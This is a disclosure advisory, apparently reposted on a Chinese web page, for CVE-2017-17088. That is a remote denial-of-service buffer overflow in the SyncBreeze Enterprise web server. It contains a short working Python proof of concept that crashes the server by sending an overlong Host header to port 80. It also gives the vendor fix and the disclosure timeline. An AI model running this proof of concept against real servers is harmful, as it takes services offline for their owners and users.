扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 |
============================================= MGC ALERT 2017-007 - Original release date: November 30, 2017 - Last revised:December 14, 2017 - Discovered by: Manuel García Cárdenas - Severity: 7,5/10 (CVSS Base Score) - CVE-ID: CVE-2017-17088 ============================================= I. VULNERABILITY ------------------------- SyncBreeze <= 10.2.12 - Denial of Service II. BACKGROUND ------------------------- SyncBreeze is a fast, powerful and reliable file synchronization solution for local disks, network shares, NAS storage devices and enterprise storage systems. III. DESCRIPTION ------------------------- The Enterprise version of SyncBreeze is affected by a Remote Denial of Service vulnerability. The web server does not check bounds when reading server request in the Host header on making a connection, resulting in a classic Buffer Overflow that causes a Denial of Service. To exploit the vulnerability only is needed use the version 1.1 of the HTTP protocol to interact with the application. IV. PROOF OF CONCEPT ------------------------- #!/usr/bin/python import sys, socket host = sys.argv[1] buffer="GET / HTTP/1.1\r\n" buffer+="Host: "+"A"*2000+"\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, 80)) s.send(buffer) s.close() V. BUSINESS IMPACT ------------------------- Availability compromise can result from these attacks. VI. SYSTEMS AFFECTED ------------------------- SyncBreeze <= 10.2.12 VII. SOLUTION ------------------------- Vendor release 10.3 version http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.3.14.exe VIII. REFERENCES ------------------------- http://www.syncbreeze.com/ IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel García Cárdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- November 30, 2017 1: Initial release December 14, 2017 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- November 30, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas November 30, 2017 2: Send to vendor December 6,2017 3: Vendor fix the vulnerability and release a new version December 14, 2017 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester |
体验盒子
